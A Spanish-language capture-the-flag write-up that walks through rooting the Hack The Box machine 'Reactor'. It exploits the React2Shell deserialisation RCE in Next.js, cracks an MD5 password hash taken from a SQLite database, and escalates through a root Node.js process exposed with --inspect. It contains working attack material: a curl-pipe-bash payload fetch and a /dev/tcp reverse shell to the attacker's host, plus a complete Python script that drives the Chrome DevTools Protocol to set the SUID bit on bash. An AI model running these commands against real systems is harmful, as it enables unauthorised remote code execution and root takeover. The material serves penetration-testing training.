Reactor WriteUp

Tabla de contenido

Reactor WriteUp

Reactor es una máquina de dificultad 🟩 Easy de la plataforma Hack The Box, correspondiente a la Season 11. El nombre no es casual, alude directamente a React y a la vulnerabilidad CVE-2025-55182 (apodada React2Shell), un RCE sin autenticación de CVSS 10.0 en React Server Components.

🗺️ Cadena de Ataque

Nmap → Puerto 22 (SSH) + 3000 (Next.js / React 19)
      │
      ▼
CVE-2025-55182 (React2Shell) → deserialización RSC maliciosa → RCE como node
      │
      ▼
/opt/reactor-app/reactor.db → hash MD5 de engineer
      │
      ▼
hashcat → reactor1
      │
      ▼
SSH como engineer → user.txt 🚩
      │
      ▼
Node.js --inspect (root, localhost:9229) → CDP WebSocket → chmod +s /bin/bash → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.1.162 reactor.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1, Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv reactor.htb

Fase 2, Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv reactor.htb
PuertoServicioDetalle
22SSHOpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000HTTPNext.js (X-Powered-By: Next.js)

Enumeración Web

http://reactor.htb:3000 sirve ReactorWatch, Core Monitoring System v3.2.1, un dashboard de monitorización de un reactor nuclear ficticio (Nuclear Dynamics Corp., Facility SITE-7). La página es pública y está completamente renderizada en servidor mediante React Server Components (RSC).

El nombre de la máquina es el hint más importante: Reactor = React + RCE.

💉 Acceso Inicial, CVE-2025-55182 (React2Shell)

¿Qué es CVE-2025-55182?

🧠 Concepto: CVE-2025-55182, apodado React2Shell, es una vulnerabilidad de deserialización insegura en React Server Components (versiones 19.0.0, 19.2.0). El protocolo RSC (React Flight) procesa payloads multipart que pueden referenciar propiedades internas de la respuesta mediante identificadores como $@. Un atacante puede forjar un payload que inyecte una llamada a Function() con código arbitrario a través del campo _prefix de _response, logrando RCE pre-autenticado con CVSS 10.0. El endpoint vulnerable en Next.js es el manejador de Server Actions (Next-Action).

Explotación

git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc
cd CVE-2025-55182-poc

Verificación de RCE con callback OOB:

# Terminal 1 - HTTP server
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 2
python3 exploit.py 'curl http://10.10.14.101/rce-test' http://reactor.htb:3000
10.129.1.162 - - [23/May/2026 22:18:59] "GET /rce-test HTTP/1.1" 404 -

RCE confirmado. Obtenemos reverse shell:

# Terminal 1 - listener
penelope -p 8443

# Terminal 2 - payload
echo 'bash -i >& /dev/tcp/10.10.14.101/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 - exploit
python3 exploit.py 'curl http://10.10.14.101/shell.sh|bash' http://reactor.htb:3000
[+] Got reverse shell from reactor~10.129.1.162-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
node@reactor:/opt/reactor-app$

✅ Shell como node. El payload aprovecha process.mainModule.require('child_process').execSync() inyectado a través del campo _prefix del objeto _response en el protocolo RSC.

🔑 Pivote a Usuario, SQLite → engineer

Extracción de credenciales

La aplicación utiliza una base de datos SQLite local:

strings /opt/reactor-app/reactor.db
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL,
    role TEXT NOT NULL,
    email TEXT
engineer  39d97110eafe2a9a68639812cd271e8e  operator  engineer@reactor.htb
admin     a203b22191d744a4e70ada5c101b17b8  administrator  admin@reactor.htb

Crackeo del hash MD5

echo "39d97110eafe2a9a68639812cd271e8e" > hash_engineer.txt
hashcat -m 0 hash_engineer.txt /usr/share/wordlists/rockyou.txt --force
39d97110eafe2a9a68639812cd271e8e:reactor1

Acceso SSH como engineer

ssh engineer@reactor.htb # reactor1

🚩 User Flag

cat /home/engineer/user.txt

🧗 Escalada de Privilegios, Node.js Inspector → root

Detección del vector

Revisando los procesos en ejecución como engineer:

ps aux
root    1405  0.0  2.1 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Un proceso Node.js corre como root con --inspect=127.0.0.1:9229. Esto expone el Chrome DevTools Protocol (CDP) en localhost, que permite ejecutar JavaScript arbitrario en el proceso, es decir, RCE como root.

🧠 Concepto: El flag --inspect de Node.js abre un WebSocket que implementa el Chrome DevTools Protocol. Cualquier cliente que se conecte puede usar Runtime.evaluate para ejecutar JS con los privilegios del proceso. Si el proceso corre como root, se tiene ejecución arbitraria de código como root.

Confirmación del endpoint

curl -s http://127.0.0.1:9229/json/list
[{
  "description": "node.js instance",
  "devtoolsFrontendUrl": "...",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "url": "file:///opt/uptime-monitor/worker.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/f9010f6d-2e0f-4d88-9651-2fcc001f07c2"
}]

Opción A, node inspect (la más simple)

node inspect es el depurador interactivo integrado en Node.js. Acepta una dirección HOST:PORT y se conecta al inspector vía CDP. Una vez dentro expones un REPL donde exec() evalúa JS directamente en el proceso remoto:

node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
Break on start in node:internal/bootstrap/realm.js:383:1
debug>
debug> exec("process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()")
debug> .exit

💡 exec() en este REPL evalúa el código en el contexto del proceso objetivo, no en el de node inspect. No hay que construir ningún frame WebSocket a mano.

Opción B, Script Python (sin dependencias extra)

La opción A no siempre funciona: node inspect es interactivo y no se puede encadenar fácilmente en una shell no-tty. El script Python reimplementa el mismo protocolo CDP directamente sobre TCP.

¿Qué hace el script paso a paso?

  1. Obtiene el WebSocket URL del endpoint HTTP de diagnóstico (/json).
  2. Realiza el WebSocket handshake manual: envía la cabecera HTTP Upgrade: websocket con la clave de negociación estándar.
  3. Envía frames enmascarados: RFC 6455 exige que todo frame enviado por el cliente lleve 4 bytes de máscara XOR antes del payload. Sin esto el servidor cierra la conexión silenciosamente.
  4. Activa el dominio Runtime con Runtime.enable (necesario antes de llamar a Runtime.evaluate).
  5. Ejecuta JS como root: process.mainModule.require(...) accede a la función require del módulo principal del worker (CommonJS), no es un require global, sino el que Node.js inyecta en cada módulo CJS a través del wrapper.
cat > /tmp/inspector_pwn.py << 'EOF'
import socket, json, urllib.request, time, os, struct

data = json.loads(urllib.request.urlopen('http://127.0.0.1:9229/json').read())
path = data[0]['webSocketDebuggerUrl'].split('9229')[1]

sock = socket.socket()
sock.connect(('127.0.0.1', 9229))
sock.settimeout(8)
key = 'dGhlIHNhbXBsZSBub25jZQ=='
sock.send(f'GET {path} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n'.encode())
sock.recv(4096)

def send_msg(s, msg):
    payload = msg.encode()
    mask = os.urandom(4)
    masked = bytes(b ^ mask[i%4] for i,b in enumerate(payload))
    ln = len(payload)
    if ln <= 125:
        hdr = bytes([0x81, 0x80|ln]) + mask
    elif ln <= 65535:
        hdr = bytes([0x81, 0xFE]) + struct.pack('>H', ln) + mask
    else:
        hdr = bytes([0x81, 0xFF]) + struct.pack('>Q', ln) + mask
    s.send(hdr + masked)

def recv_msg(s):
    try: return s.recv(4096)
    except: return b''

send_msg(sock, json.dumps({"id":0,"method":"Runtime.enable"}))
time.sleep(0.5)
recv_msg(sock)

send_msg(sock, json.dumps({"id":1,"method":"Runtime.evaluate","params":{
    "expression": "process.mainModule.require('child_process').execSync('chmod +s /bin/bash').toString()"
}}))
time.sleep(2)
print(recv_msg(sock))
sock.close()
EOF
python3 /tmp/inspector_pwn.py
b'\x819{"id":1,"result":{"result":{"type":"string","value":""}}}'

execSync('chmod +s /bin/bash') ejecutado como root. String vacío = éxito (chmod no produce stdout).

ls -la /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31  2024 /bin/bash
/bin/bash -p
id
uid=1001(engineer) gid=1001(engineer) euid=0(root) egid=0(root) groups=0(root),4(adm),27(sudo),998(lxd),1001(engineer)

✅ Shell como root via SUID bash. El proceso Node.js con --inspect expuesto en loopback es suficiente para ejecutar código arbitrario como root sin necesidad de port forwarding.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuerto 3000 Next.js/React 19
2CVE-2025-55182 React2Shell (RCE pre-auth)exploit.pyShell como node
3Extracción credenciales SQLitestringsHash MD5 de engineer
4Crackeo MD5hashcat + rockyou.txtContraseña: reactor1
5SSHsshShell como engineer + user.txt 🚩
6Node.js --inspect (CDP WebSocket)node inspect / Pythonchmod +s /bin/bash como root
7SUID bash/bin/bash -pShell como root + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.